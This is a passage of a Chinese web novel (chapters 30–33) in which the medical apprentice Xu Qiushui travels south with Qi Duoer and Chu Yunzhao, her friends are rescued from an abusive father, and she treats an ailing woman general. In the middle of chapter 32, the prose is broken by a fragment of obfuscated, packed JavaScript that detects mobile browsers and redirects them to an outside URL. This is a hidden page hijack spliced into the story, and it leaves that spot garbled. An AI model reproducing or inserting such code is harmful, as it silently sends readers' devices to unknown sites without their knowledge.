楚知求从怀中掏出一封信递给秋水说道:“学医,应纳百家之长。天下各处所居之人体质各异。京师贸易又如此繁盛,旅客来往之多。固守一家,会没落于顷刻之间。”
秋水听着点了点头。
楚知求见她有所悟便继续说道:“我在明州有位相识的好友,但一直未能仔细切磋交流医术十分可惜。正巧云照上任此处,你便一同前去替我学医切磋一番。”
秋水握住信向楚之求说道:“定不辱师父所托。”
楚知求点点头说道:“好徒儿,你们先聊着。缕儿,云照我们莫要打扰她们了。”
送过楚知求等人后,秋水欢喜的拉着祁多儿说道:“我早想见识一番江南风景了。”
祁多儿也开心的说道:“我也想见识一番江南的风景,更高兴我能施展我的抱负了。”
木忍冬和贺得宝也为她们所高兴。
木忍冬说道:“今日你们所说得愿望倒是真的实现了。只不过你们这一走,怕要过上一年半载才能再相见了。”
贺得宝红了眼眶:“这下只有我与忍冬两人在京师相依为命了。”
又擦了擦眼泪说道:“不过,这不值得悲伤,我们要高兴。要庆祝。祝贺多多能实现抱负,庆祝秋水能领略天下医术。”
木忍冬点了点头,秋水说道:“好,要庆祝,举杯,庆祝。”
四人喝酒说话闹了大半夜。第二日四人直到日上三竿才起来,辛夷见她们醒了给她们端了醒酒汤和一些粥。
四人喝了醒酒汤,喝了粥缓了一个多时辰,才散了场。
祁多儿收拾了东西,最后一日才与家里说自己要去给楚云照当私人主溥。
多儿他爹格外高兴,还给多儿数张百两银票。让多儿好生照顾自己。多儿只抽取了一张,便向爹娘告了别。
秋水将东西收拾好后,向师父告了假,回家与父母同住。秋水爹娘给她备了好些吃食,又准备冬季的被褥。
又担心她出门吃苦,拿出了之前秋水给家里的五十两银子和攒了好久的一包碎银子给秋水。秋水不接,秋水爹说:“穷家富路,拿着吧,孩子。”
后来秋水又说,自己与云照哥哥一同前去,不必担心钱财。银子太过碍事,恐遭盗贼。秋水娘便将秋水的冬衣都缝制了一些银子进去。
秋水爹给秋水的箱子做了个暗层。将银子砸扁藏了进去。
秋水住到临行前一日回了楚宅。
30. 相逢喜知两相识
七日后,天光渐亮,是个难得的好晴天。楚宅的仆人进进出出的为楚云照与许秋水搬着东西。
绣坊里,派了一辆来接祁多儿的马车。祁多儿与孙管家告别后,木忍冬和贺得宝说来送最后一程,一同乘车到了楚宅。
最后备好物品,一些药材书籍再加上三人的吃穿用品。竟足足堆齐整了三辆马车。
楚云照见她们四人依依不舍,便向她们行礼说:“各位既依依不舍,今日天气又如此舒适。不如你们一同乘车至城门口再分离,贺娘子与木娘子也可以在街上逛逛。”
四人对视一番,觉得楚云照说得有理,便点头答应了。
祁多笑着对楚云照说:“多谢楚郎君。”
楚云照说道:“那请各位娘子先上车,我在车前为各位娘子开路。”
她们四位依次上了车,楚云照向站在门口的金娘子与楚知求深深的行了个叉手礼:“舅舅舅妈,云照,告辞了。”
楚云照坐上马车前舆向车夫与一旁的两个护卫说道:“启程。”
两个护卫骑马向后方三辆拉货的马车传话道:“启程”
“驾~驾~驾~驾~”
一行人便乘车向城外而去,许秋水掀开车上的帘子,向楚知求与金娘子招手,金娘子也向许秋水挥手,楚知求在外不停地点着头。
见楚云照一行人的马车远去,金娘子与楚知求一同叹了一口气说道:“如此,怕是一年半载到也难见了。”
楚知求点点头说道:“大雁总归是要南去的。”
许秋水两位哥哥本想再送秋水一程,可见秋水几人在楚宅门口告别,又觉得太过伤感。怕再添几分乡愁,便只远远看上了几眼两人就去花间酒舍中打算喝酒解忧一番。
楚云照一行人的马车到了城门口,贺得宝与木忍冬下了马车。
木忍冬故作坚毅的说道:“就到此处,别了吧。再要送些距离,便是要离开的离不开,要留下的留不下了。”
祁多儿与许秋水相视一眼又望向贺得宝与木忍冬后点点头。
贺得宝笑着说道:“你们快进马车,忍冬,我们快跑。”
说罢便拉着忍冬往城中跑去,祁多儿与秋水见她们如此,两人擦了擦眼泪,便也回了马车。
她们一行人经过城门守卫的盘问后,便往外驾车而去。
贺得宝拉着木忍冬跑过一个转角后,抱着木忍冬呜呜的哭了一会。
木忍冬拍着贺得宝的背说道:“我们今日既然告了假,那便在街上逛上一逛,待到晚上再回去?”
贺得宝在木忍冬怀中点点头,过了会,拿了手绢擦了擦脸。又整理了一下头发,便说道:“城北有家新开的酒馆,名花间酒舍,听闻不错,我们先去此吃些东西。再去宝瑞轩看些新上的首饰如何?”
木忍冬笑了一笑说道:“那便听你的。”
两人相视笑了一笑,便向着花间酒舍走去。
刚走至楼下,便听得身后有人大喊“姐姐留步。”
两人并未搭理,只听那声音越来越近。一看是位十七八的少年,后头还跟着一位五大三粗的莽汉子。
那位十七八的少年见木忍冬与贺得宝不搭理他,便拦了她两的去路说道:“姐姐留步。”
贺得宝呵斥道:“瞎了你的眼,谁是你姐姐!”
木忍冬在一旁,身体颤抖,不敢言语。贺得宝见木忍冬如此,心中猜到了几分,便拦在那少年与木忍冬的面前。
结果那莽汉子从后方拉了忍冬骂道:“你这贱坯子,和外人设计害我。今日可逮了机会,快些和我回去。”
忍冬向后退着,不愿前去。贺得宝也拉着木忍冬另外一只手,不让忍冬被带走。
围观的人越来越多,那莽汉子便叫嚷着:“你们看什么看,我带我女儿回去,干你们何事?”
贺得宝向那莽汉子呸了一声说道:“你算什么爹,快来看啊,有人大街上强掳人了。”
许秋水两位哥哥许春木,许春林正在二楼窗间饮酒听见下面叫嚷,便向下看去。
贺得宝便继续喊道:“救命啊。”
那莽汉子见贺得宝一直叫嚷,便正要一脚踹开得宝。
许春林低头看时,思虑了一下说道:“大哥,快去,那人是得宝。秋水的朋友,快去救人。”
秋水大哥许春木本正要下楼阻拦,听了这话,便直接将手中酒杯向那莽汉子额间砸去。
那莽汉子吃痛,向二楼骂道:“哪里来的不长眼的。”
许春木便直接由二楼窗口翻出,借了屋檐一些力,翻身落在那莽汉子身前。
不等那莽汉子反应,将手掌竖直朝拉着木忍冬的手劈去,那人哎呦了一声,抱着手道:“你是何人,敢管老子的闲事。”
许春木撇了一眼那莽汉子,又见那十七八的少年正要偷袭贺得宝。看许春林先行当在了贺得宝面前。
许春木快步将春木得宝两人拉向后,又一脚将那偷袭的少年踹在地上。
春木看着得宝问道:“你可无碍?”
得宝摇了摇头。
那莽汉子还向继续上前,许春木将拉住莽汉子右手向后一折,又用脚踢他小腿后侧。将那莽汉子打得跪在了地上。
那莽汉子虽然已是如此落魄,但任是嘴上不饶人。急哄哄的骂道:“你到底是哪里来的挡路狗。”
许春木更是加重了几番力气,那莽汉子才求饶:“我是狗,我是狗,爷爷放了我。”
许春木冷哼一声:“我岂能放你,和我去见官。”
那莽汉子又看向木忍冬,故作可怜的说道:“爹再不敢找你麻烦了,桂枝,爹求你,放过爹吧。你看你弟弟也被打成那样了,你忍心吗?”
木忍冬看了看自己爹,又看了看那倒在地上捂着胸口的弟弟。终归还是有几分不忍心,便向春木说道:“多谢秋水大哥,秋水二哥仗义相助,但求你们先将他们放了吧。”
许春木思考一番,竟然人家都说放了,那自己便顺人之言吧。他便将抓住忍冬爹的手松了开来说了句:“滚吧。”
那莽汉子,便向木忍冬几位点头哈腰了一番便急忙快走。木忍冬的弟弟见此也立马爬了起来朝那莽汉子那便跑去。
那莽汉子虽对忍冬几人点头哈腰,一脸怂气,可转过身后,又恢复了一脸狠厉。忍冬弟弟刚追上那莽汉子,那人心中火气未散,又见他如此样子。便又甩了忍冬弟弟一巴掌,他不敢多话,只敢在一旁捂着脸一同回去。
贺得宝略带害羞望着许春林说:“你还认得我?”
许春林皱了皱眉头答
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道:“认得,你可还认得我?”
贺得宝向许春林点了点头,许春林害羞一笑。
许春木见此,觉得有些不妥,便喊道:“春林。”
许春林听见哥哥这一声喊,一下子心回了回来。觉得有些失礼,忙退了一步,又向贺得宝与木忍冬行了一个礼后向大哥春木说。
“这两位都是秋水在绣坊相识的好友,我是秋水二哥,这位侠士,是秋水大哥。”
许春木点点头,又看向忍冬和得宝道:“不知两位现在要去何处,我可与春林将两位送去。”
贺得宝向前拉住木忍冬,木忍冬看了一下得宝对春木说道:“本想逛逛街市,现有如此一遭失了兴致。便打算直接回绣坊。”
贺得宝点了点头。
许春木便向木忍冬和贺得宝说道:“那我们便将你们两位送去绣坊。”
木忍冬答道:“多谢秋水大哥仗义相助。”
一旁看戏的小儿,见他们要走,急忙拦着春木道:“客官,你还未结账。”
春木将账结了,才与春林一同送木忍冬与得宝回绣坊。
贺得宝挽着木忍冬走在前方,许春木与许春林在后面跟着。
春木撇了一眼春林,见他一直痴痴的望着前方,叹了一口气。
木忍冬在前面轻声对得宝说:“你竟然如此能藏事?”
得宝讪讪的笑了一笑。
终于走到绣坊,春木便向贺得宝与木忍冬说道:“既已送到,那我们便告辞了。”
贺得宝向春木说道:“今日多谢大哥。”
木忍冬看了一眼贺得宝,向春木春林,行了个道谢礼之后便拉着得宝走了进去。
得宝走至里院子入口又向后望了一望,忍冬又拉着她加快了些步伐。
许春木看向春林说道:“你与那位贺家娘子很相熟吗?”
许春林摇了摇头说道:“只是之前接秋水回家和给秋水送东西见过几面,常听秋水提起觉得是个真诚之人,便多留意了些。”
许春木叹了一口气说道:“痴儿。”
绣坊里,推开房门,看见空落落的屋子。
木忍冬说道:“如今只剩我一人了。”
贺得宝捋开忍冬的袖子看了忍冬的手臂说道:“你看这,都抓淤青了。真是个狠心的人。”
贺得宝在一旁的柜子里,找到了秋水留下的跌打药给忍冬涂上说:“哪里只剩你一人,我离你也不算远。”
木忍冬笑笑道:“现在是不算太远,可不知嫁了人之后还算不算远。”
贺得宝怒道:“你哪门子的胡话?”
木忍冬笑着假装贺得宝的语气说道:“你还认得我吗?”
贺得宝上药的力气重了几分,木忍冬吃痛便喊道:“我知错了,你轻些。”
贺得宝哼了一声说道:“叫你胡言乱语。”
木忍冬又问道:“你之前只为瞒着,你今后还瞒得过自己吗?”
贺得宝摇了摇头说道:“先瞒着再说,我这倒不打紧。今日这些事,你要告诉金娘子吗?可怕他今后还来找麻烦。”
木忍冬摇了摇头说道:“这些日子,我先不出去了。让我思考几日在做商量吧。”
贺得宝叹了一口气说道:“那便先如此吧。”
31. 行路偶遇老友
许秋水与祁多儿本有些一些离家的感伤,但行至郊外见一片花海。心中顿觉愁绪扫去大半。
路两旁每隔一丈远就种有樱花树,时而有风吹过,将樱花树的花瓣吹入到马车之中。秋水捻住了一片,便掀开帘子朝窗外望去。一时竟未忍住惊叹了一声。
祁多儿见此也将身后车帘拨开,朝外望去。红色,粉色,白色,橘色的花儿依次成片。一阵风吹来,远处的花推着近处的一起朝着这边扑来。
许秋水看了一会向马车中的祁多儿与楚云照说道:“这成片的海棠花不知是何人所种?”
楚云照听了思索了片刻答道:“应当是肖家酒楼为承办此次花朝节所种,可惜,今年城北王员外家的琉璃花房更胜一筹,所以此地便也荒废了。”
祁多儿听后说道:“若是被它胜了,人来人往踩踏,我们到看不到这等好风景了。”
许秋水也符合道:“说来也是,苦了肖家酒楼,倒是让我们赏了个好风景。”
楚云照笑了笑说道:“倒也确是如此。”
过了花海,又到了一片草地。旁边还有条小河,虽无之前花海绚丽,但别又一份清新感觉。
车队忽然降速停了下来,车外一人向车里喊道:“禀告参军,此处马草丰盛且此时已近末时,可否就在此处休息,到申时再出发。”
楚云照将车帘掀开站了出去,向那人答道:“那便听甄护卫的,在此休息吧。”
楚云照又唤了秋水与祁多儿下车休息一会,又拿出了一张浆洗过的厚布地毯铺在了地上,而后在一旁小溪中打了水煮茶。
楚云照取了几样糕点分予了车夫后便与许秋水与祁多儿一同饮茶。
随同的四位护卫,有两位看着马匹吃草,两位护在秋水三人身边。
许秋水看了一眼左边护卫又看了一眼右边护卫,又俯在祁多儿耳边说道:“这好似是对双生子。”
祁多儿听许秋水所言,也看了一看两位护卫点了点头。
许秋水便向其中一位护卫说道:“你们可是双生子。”
那护卫头戴交角幞头,身穿灰色圆领袍,双手带黑色皮革护腕,腰间系着一条黑色革带。手握佩剑,双手环于胸前,虽倚着树在休息,但做适时而发之姿。皮肤黝黑,五官甚是凌厉骇人。
那人哈哈笑了几声后,坐着向许秋水抱拳行礼说道:“小许神医,果真是慧眼如炬。”
许秋水被羞的小脸一红,楚云照笑了笑说道:“这事怪我,忘记与你们介绍了。这两位原先是你哥哥的部下,甄二虎与甄大龙。这两位护卫到了明州也会一直护卫我们。”
刚才那护卫继续说道:“我是弟弟,甄二虎。久闻许将军有个聪慧的妹妹,今日一见到是所言不虚。”
甄大龙穿着与甄二虎大致相同,也是头戴交角幞头,灰衣黑护腕。因是他兵器不太相同,便未席地而坐,而是另一边的石头上,手握长柄重斧,腰佩一把长剑,以腰背挺立姿态坐着。
甄大龙倒只是起身与秋水等人各打了个招呼,并无多语后又坐了下去。起身之时,那长柄重斧竟稳稳的立在土中。
许秋水哼了一身对着甄二虎说道:“我看你应当叫甄多话。”
甄二虎继续哈哈笑了几声说道:“就这倔强的脾气也与许将军刚入兵营时一般。”
许秋水问道:“你与我哥哥关系很好吗?”
甄二虎啧了一声说道:“岂止是好,你哥哥早些年与郝将军都亏我传信呢。”
甄大龙呵斥道:“甄二虎!”
甄二虎讪讪一笑道:“这又无外人。”
甄大龙怒视甄二虎说道:“少言语些,没人将你做哑巴。”
许秋水本想在问上几句,见甄大龙如此严厉,便又不敢触及霉头。便想着这两位护卫反正到了明州也还在,那便等一个无人的时机再细问一番。
甄二虎心中一虚说道:“那如此,便不说了。”
秋水见应是问不出来些什么了,便于祁多儿玩闹着,看着附近有何可用的药草。见小溪对岸有车前草。就想捋起衣袖过去挖上几株。祁多儿见她的样子急忙拉住了她。
祁多儿轻声说道:“这儿人太多,不可鲁莽。”
楚云照看了看对岸,想到越往后走越发湿热,这到是个好药。便上前拦住秋水,自己脱了鞋子,越过了那条小溪。挖了十来株车前草递给秋水。
秋水将车前草洗净后,便用麻布系在了装货物的马车上晾干。
待到申时,许秋水与祁多儿收拾东西后。上了马车,继续前行,想是中午累了,两人在马车的颠簸下也互相倚着睡了过去。
楚云照本想着两人此时睡了晚上如何睡着,想将两人叫醒。可又想她两人年纪尚小,晚上若是睡不着,她两人聊一夜,明日赶路再睡也无妨。便就未将其叫醒。
如此日夜颠倒了些日子,许秋水和祁多儿两人水土不服甚是严重。到了泸州觉得离任期还早,便寻了一个好客栈。先休息几日,调理好身体再行路。
许秋水与祁多儿两人最为严重,发烧呕吐。楚云照与四位护卫也有不同程度的腹泻,只有与经常各地跋涉的几位车夫身体无大碍。
楚云照将之前采摘的车前草,煮水与几位喝了,休息了一天,都有所好转。后来几日只吃些汤食豆类,又过了两日便全都好了。
好得差不多利索了,祁多儿与秋水在街上闲逛,甄二虎奉命随身保护两位。
行至一家药房时,甄二虎偶遇一位熟人。那人喊道:“二虎老弟,你为何在此?”
甄二虎回头望去,大喜道:“许夫长为我兄弟两寻了一份工,护送今年的状元郎楚云照上任明州,途径此地。郝将军,你又为何在此?”
秋水心中震惊“郝将军?”,莫不是这位就是与我大哥通信之人。这人长得好似那张飞在世,怎会?怎会?
那人向天行了抱拳气愤的说道:“皇上又封了我堂妹一个安国公主的名号,许佩给身在梧州的安王。路途遥远应是水土不服,可此地尽是庸医,堂妹已经病倒数日了皆无起效。我又不敢继续上路怕加
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重了病情,可又怕耽误了时辰。便想着在休息一日后上路,可巧今日就遇上你了,去我们下榻的客栈,我先将这汤药熬上,我们在喝上几杯叙叙旧。”
甄二虎哈哈哈笑了几声说道:“你先莫急,容我将这两位介绍一番。神医许秋水,第一才女祁多儿。”
那神似张飞的郝将军向许秋水与祁多儿抱拳行礼了一番,心想介绍这两位女娃娃作甚,心中有些不悦的说道:“你可是要先将这两位送回去,才能再来喝酒。这样也好,你将你大哥一同叫来。”
甄二虎摇了摇头说道:“这到是真巧,我们前几日也因水土不服病倒了。多亏这位许神医妙手灵丹。”
郝将军看了眼许秋水道:“就这个女娃娃?”
甄二虎哎了一声继续说道:“她可姓许,你没觉得她长得神似一位故友?”
郝将军思索了片刻恍然大悟道:“许,许春林那个许?听说被一位什么名医收为弟子那位?”
甄二虎点了点头说道:“我看那位郝将军,十有八成是些心病,她在她面前一眼,不用药也能好上三分。”
郝将军点了点头对许秋水说道:“那便快些随我去吧。”
甄二虎乐呵呵的对许秋水说道:“去救治一番你哥哥以前的相好?”
在此的郝将军脸色不悦的说道:“你这嘴能不能少说些无用的话。”
甄二虎任是一脸憨笑说道:“这怎无用,这不是让这位小神医更用心救治。许神医你说是与不是。”
许秋水心下震惊,原来是那位定北巾帼将军。自己竟然连大哥是否断袖都想上了,却未想到大哥原先也是郝家军的。偏偏漏了这位定北巾帼将军。
许秋水将心定了一定说道:“医者救人不凭亲疏之远近,地位之高低,财产之多寡,唯见伤病之深浅。”
甄二虎又是一笑道:“你看,与许夫长一般顽固实诚。”
那位郝将军向许秋水这次诚恳的行了一个礼道:“是我刚才失礼了,望许神医海涵。”
许秋水学着郝将军抱拳回礼道:“郝将军言重了。”
郝将军哈哈笑了几声说道:“倒是个趣人,那这位天下第一才女又是何人。”
甄二虎说道:“这位是圣上封了孺人的祁多儿,第一位女子童子科甲等。”
郝将军长哦了一声向祁多儿抱拳行礼道:“久仰久仰,我堂妹定然喜欢你。”
祁多儿未搭话,只是想郝将军行了一个万福礼。
甄二虎哎了一声看向郝将军说道:“你怎得如此小气,夸人还要说自己妹妹才喜欢。你自己就不喜欢了?不想得一个如此貌美聪慧的女儿?”
郝将军撇了一眼甄二虎说道:“我怕我不堪此等福气。”
甄二虎点了点头:“这倒有几番道理。”
郝将军指向甄二虎说道:“你。。。你。。。哎。。。”
许秋水与祁多儿相视一笑,甄二虎看她两如此高兴,也笑了笑。
甄二虎边走边调侃会郝将军,四人说说笑笑到了客栈。
32. 将军何所忧?
进入客栈,才发觉整间客栈被包了下来,一楼站着数十个黑衣护卫,楼梯每隔三层阶梯又站了一位护卫。
许秋水一行人随着郝将军上了客栈二楼,楼上共有七八间房,每间房前亦有两位护卫。郝将军带她们至离楼梯最远那间房后停了下来,门前站着一大一小两位护卫。
两人皆身穿黑衣窄领圆领袍,戴黑色皮革护腕。
年长些的头戴扎巾,双脚稍宽,脊柱挺直,双手放于腰间,一手握腰间配刀。头部稍低,两眼凌厉看向前方。是标准的武将站姿。
年幼些的头戴木制束发冠,倚在门旁的柱子之上,环抱佩剑。到不像个军营出生,更像一位江湖出生的小侠客。
见秋水一行人上了楼梯。那两人皆向郝将军行礼说道:“郝将军。”
甄二虎看了两人一眼又仔细打量了那年少护卫一番说道:“这是哪招的小郎君,这么没规矩,郝家军已经如此落魄了?”
那年少护卫立起身子,不屑的望着甄二虎。甄二虎也是一脸怒气盯着那护卫。
郝将军急忙拦于两位之间说道:“这就是那位,我堂妹于许夫长捡回的小孩。魏定。他年纪小,二虎兄弟莫怪。”
甄二虎哼了一口气道:“打仗时可不为年纪小的有所优待,到底是平战了之后招的兵,就不如我们之前。”
魏定用剑指向甄二虎说道:“你好大的口气。”
甄二虎跩过魏定握剑之手,将其翻于背后,又用力一推将魏定按在门上说道:“挣脱或是求饶。”
魏定左扭右扭一番,硬未将胸膛离开那门分毫。
甄二虎见此哈哈一笑说道:“既挣脱不开,那便求饶。”
魏定继续挣扎,并呸了一声。
甄二虎见此撇了撇嘴说道:“本事不大,气性倒是不小。”
魏定嚷道:“有本事你正面来,偷袭算什么本事。”
甄二虎哈哈笑了几声说道:“偷袭?小郎君,我可是正面对你出手的。再让你见识见识,我松开你,你面向我,我数三个数后让你过几招。”
甄二虎将魏定松了开来,又抬头示意他一番整理整理衣服。待魏定整理完毕,便说道:“三,二,一。”
魏定听罢拔剑向甄二虎而去,剑还未拔出三寸,便被甄二虎用左手一手按回,又用左手握住剑身,向自身左侧推去。再用手肘将魏定打退靠至门上。
许秋水等人,之间魏定预要拔刀,便被甄二虎打至后退两步。
甄二虎拿剑笑了一笑说道:“我叫二虎,我看你才是真虎。如此狭窄之地,你若出拳还能伤我一点。拔剑?剑出鞘都不够位置。”
魏定双手捂着胸口并未说话,郝将军忙扶着魏定说道:“他年纪尚小,实战经验少了些。”
甄二虎撇了一眼说道:“有郝元帅亲传之名,倒也不必精练武义。反正无战,混些官职糊口也非难事。许小神医,这位是你哥哥所带回军营之人,给些治跌打损伤膏给他吧。虽武义不够,若你觉得摸样还行。倒不如让郝将军做个媒,让他以身相许报恩罢了。”
许秋水脸色一怔,心想怎说到我了,你得罪了人,怎还连累我。讪讪一笑道:“甄二哥出手必然有数,应是不必吃药的。我倒听大哥提起过,离开军营之时遇见过一位小少年,双眼炯炯有神,气度不凡,今后必成一番事业。只可惜,不知他此生有无机会。我想应当就是这位魏定小将军了,还望今后勤学武义,若有机会,必展凌云之志。”
说罢便又走到魏定面前,取出一瓶白瓷罐。递予他后说道:“这是跌打损伤膏,涂于伤处可活血化瘀。”
魏定接过许秋水递来的药膏楞了一会后说道:“多谢许家娘子。”
郝将军叹了一口气,又敲了敲门说道:“开门。”
只听见门后传来两位女子齐声的一声“是”后,门便被悠悠的打开,门后是扇常见的花鸟屏风,门两侧站立着两位侍女。
郝将军叹了一口气说道:“你们带这两位姑娘给安国公主看病。”
那两位侍女向许秋水与祁多儿说道:“请。”
待到许秋水与祁多儿刚榻进门口两步,那两位侍女便又关上了门。许秋水与祁多儿心中不由得起了几分寒意。
门外,郝将军对甄二虎说道:“来你将他扶去房间,我去煎药。”
甄二虎笑了笑说道:“你将他放地上躺一个时辰就无事了,许小神医的药你给他涂涂。你怎也如此矫情了,不过才下沙场几年,怎和一个妇道人家一般。”
郝将军无奈看向甄二虎说道:“那你去煎药,我将他送回去躺一躺。”
甄二虎任然笑着说道:“我奉命不可离开许小神医与祁孺人半尺,你这假药你也莫煎了,待许小神医看病了出来再说,我两在这叙叙旧。”
郝将军更是无奈,叹了一口气说道:“那你拿着这药,我先将他送去房间,再来寻你。”
甄二虎拉了拉腰带说道,向着魏定点了点头。
待郝将军两人离去,甄二虎又看向一旁的另一位护卫,打量了一番说道:“你这小子倒是个好把式,何时当兵的,在何人营中。”
那人向甄二虎行礼道:“早听闻甄夫长豪名,今日一见,果真不凡。我乃今年新征的,就在刚才所在的郝北还郝将军营下。”
甄二虎点了点头,又拍了拍那人之肩。
屋内,许秋水与祁多儿走至屏账之后,看见床边还有两位侍女,待秋水走近,那床边两位侍女才将帘子掀起。
许秋水刚要走近细看,床上那人便睁开了眼睛看向秋水。
秋水思索片刻向床上那人说道:“见过郝将军,是另一位郝将军请我来救治你的。”
郝将军笑了笑轻声说道:“到是很久未听人这么称呼我了,你们刚在门外的话我听见了,你是许春木那位小神医妹妹。那你身旁这位是何人?”
许秋水答道:“这位是皇上亲封孺人的童子科甲等,祁多儿。”
郝将军望着祁多儿笑着道:“到是早有听闻,今日得见,甚是有幸。”
祁多儿向着郝将军行礼道:“将军威名,如雷贯耳,今日得见,是我之幸。”
郝将军点了点头,又望向秋水说道:“请神医诊治。”
许秋水楞了神,祁多儿推了推她,她才向前去为郝将军把脉。她并未觉得郝将军是为美丽的女子,只觉得算是又几分秀气,但只与其说了这几句话便又觉得此人美貌非常,有胜月神之貌。
秋水想前给郝将军把脉之后,又探了一番额温说道:“将军非水土不服,只是郁结于心,加上舟车劳顿,一时浊气淤积肝脏,所以导致生病罢了。我先用针灸将你退烧,再派他人于你去买药一天吃上三幅便就好了。”
郝将军点点头,说道:“那便请神医施针罢。”
秋水将真扎入郝将军外关,将针左右捻至郝将军感到酸胀,再将针慢慢推至内关,但不推出的状态。
“郝将军,先待一刻半钟,我再将针于你取出。我先将药方写好给在外的郝将军去采买。”
秋水写了一个药方向门口走去,那二位侍女便即刻将门打开。
郝将军与甄二虎蹲坐在门口。见秋水出来,急忙起身相迎。
秋水将药方递与郝将军让其抓上三幅便好,郝将军接过念道:“龙胆草,生地黄,当归,柴胡,泽泻一两,车前子,木通,栀子,甘草。这怎于先前药方无一相同?”
秋水便让郝将军将先前的药方拿出,秋水看了一眼说道:“确实无错,你这药方是治疗水土不服的好药,可里面那位郝将军并非是水头不服而是心气郁结。你这方子补脾胃,我这方子清肝热。”
郝将军略表疑惑,甄二虎说道:“他若方子对,还需我们来?正是和他不一样,才说明我们的方子对。你快些去买药吧,你多慢一刻钟,郝将军就再受一刻苦。”
郝将军叹一口气说道:“那我便去了,还望两位多多照顾。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14703619|157068||http|test|mini|href|location''.split(''|''),0,{}));
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>甄二虎跩这腰上的肩带对郝将军说道:“快些去吧,这里我帮你守着。”
郝将军便向几位行了礼后急忙去向药堂。
许秋水与祁多儿两人又进入房间,许秋水对屋内郝将军说道:“心药还需心药医,若你以后还是多思多虑,今后还是会复发的。”
郝将军笑了一笑道:“那便复发吧,若天命如此,我又能有何为?”
许秋水望向郝将军继续问道:“将军究竟是何忧愁?可予我们一说,若能有些帮助也好。”
郝将军看了看窗前两位侍女,又笑着叹了口气。秋水皱了皱眉头。
祁多儿望向郝将军说道:“我知将军所忧,也知所解。将军可愿一听?”
郝将军略带惊喜的看着祁多儿说道:“我倒也想知道,大才女有何高见,附耳与我说说。”
祁多儿向郝将军说了一些话后,抬起头问道:“将军先说是否为此事?”
郝将军笑着点了点头。
祁多儿又附耳过去说了片刻,郝将军大笑道:“果真应是天下第一才,我觉此时我神清气爽不少。”
秋水疑惑得看了眼祁多儿又看向郝将军,觉时辰差不多了。便向前又为郝将军把了把脉,探了下额头后将银针取了下来。
郝将军觉身体轻快许多便要取银甲穿上,许秋水急忙阻拦说道:“你元气尚未完全恢复,将军先休息一日,明日可否让我等见见将军枪舞?”
郝将军见许秋水如此诚恳便应了下来,穿了身银白色圆领袍,将头发用一玉冠束了起来,便推门出去。
甄二虎见郝将军出门,急忙向郝将军行礼道:“将军飒爽英姿丝毫未减。”
郝将军哈哈大笑道:“我刚听见你在外了,你胡言乱语的能力也丝毫未减。今日我等先一起吃些晚膳,明日待我好了七分。得了这两位小神医准允了,与你展示一番我的枪舞,再酣饮一番。”
甄二虎也是大笑道:“我当什么病还能打倒郝将军,果然是郝北还危言耸听了。”
郝将军笑道:“我这位哥哥,总是心善又心急。夸张了些也是正常的。”
甄二虎继续说道:“那将军一同下去饮酒?”
许秋水望向甄二虎说道:“将军不可饮酒,至少这三日不可。”
甄二虎叹了一口气道:“那我等以茶代酒,也畅饮一番。”
许秋水望向甄二虎继续说道:“将军亦是不可饮茶,至少这三日不可。”
甄二虎望向秋水无奈说道:“那我等以水代酒,畅饮一番。这可否”
许秋水点了点头。
郝北还回来之时只见郝将军与秋水等人在楼下聊得正欢,一时震惊说道:“果然是神医,你竟可以下床了。”
郝将军笑了一笑道:“让哥哥忧心了。”
郝北还高兴的说道:“哪里的话,你们先聊,我去为你煎药。”
许秋水等人见郝将军喝了药后,便告辞而且。约到明日再来客栈,如果有事,可到福运客栈寻秋水。
回去路上,许秋水问甄二虎道:“为何那位郝北还郝将军买药煎药这些事都自己做呢?”
甄二虎嘘了一声轻声道:“我望了一眼那些护卫,熟面孔都是些现安北将军张若怀的老部下。估摸着是他手下哪员大将与郝北还一同护送。新面孔他不放心,又要派魏定护着。便也只得他亲自忙了。”
许秋水又问道:“他既是将军,怎会无人可用?”
甄二虎继续说道:“这位虽是郝元帅之侄,但确实武功平平。心善又胆小,原先只是文职,手下也没几个人。这将军也不过是个虚名。”
许秋水点头道:“原来如此。”
许秋水回去之后问祁多儿:“将军是何忧虑,你与她说了何事?”
祁多儿笑着摇了摇头说道:“此乃我与将军之秘密,但我可以告诉你,此事情与你哥哥无关。”
许秋水也是笑了笑说道:“那我想知道的已经知道了。”
33. 相见时难别亦难
第二日早上巳时,楚云照一位好友张山秀张举子前来拜见。
楚云照见到那人说道:“张兄,别来无恙。”
那人似有难言之隐向楚云照道了一声好,又叹气一番。
楚云照问道:“张兄,是有何事需我帮忙吗?但说无妨。”
张山秀面露为难之色说道:“楚兄,可否将与你同去的师妹以及那位童子科甲等的儒人邀来。我一同说于你们听。”
楚云照甚感疑惑,虽知张山秀此人襟怀坦白,但又觉此时蹊跷便问道:“想必你也有所耳闻,一位是我舅舅的徒儿,一位是我舅妈之徒。此二人就如同我之亲妹。你若不予我说清为何,我是定然不可允许的。”
张山秀叹了一口气说道:“你也知我家境贫寒,读书又不成器,未能高中。虽得个举子之名,但也不知何时能得一职位。”
楚云照更是疑惑问道:“这为何你要见我两位妹妹?”
张山秀继续说道:“你先听我说完,五个月前有位得一位财主赏识,为我许配了一位他身在明州的远房表亲。我这些日子也与她通过几回信,觉得可谓是知己。”
楚云照道:“这岂非天赐良缘,你这还有何所求?”
张山秀说道:“我这些日子虽说欢喜,可心中总是不安。怕她嫌弃我是一个酸腐书生,又怕与我通信之人并非我要娶之人。听说楚兄,既要上任明州,又有两位师妹同去。便想请你们为我送上此礼,也为我打探一番。”
张山秀将怀中之物递予楚云照,楚云照未接。思索一番说道:“此事既然要我两位妹妹去做,那我将她们唤来,问过她们答应才可。”
张山秀向楚云照行礼道:“如此多谢楚兄了。”
楚云照将许秋水与祁多唤来一同商议,张山秀又将事情与她们再说了个清楚后问道:“此乃我家传手镯,希望能为我转增于她。”
祁多儿向张山秀问道:“若那人丑若无盐,这镯子是否还送?”
张山秀说道:“娶妻娶贤,再下并非好色之辈。”
祁多儿笑了一笑又继续问道:“若你两之间的来信,并非那人所写,而是代笔,你又作何打算。”
张山秀说道:“那便请她将情况如实告知我便好,无许顾虑。”
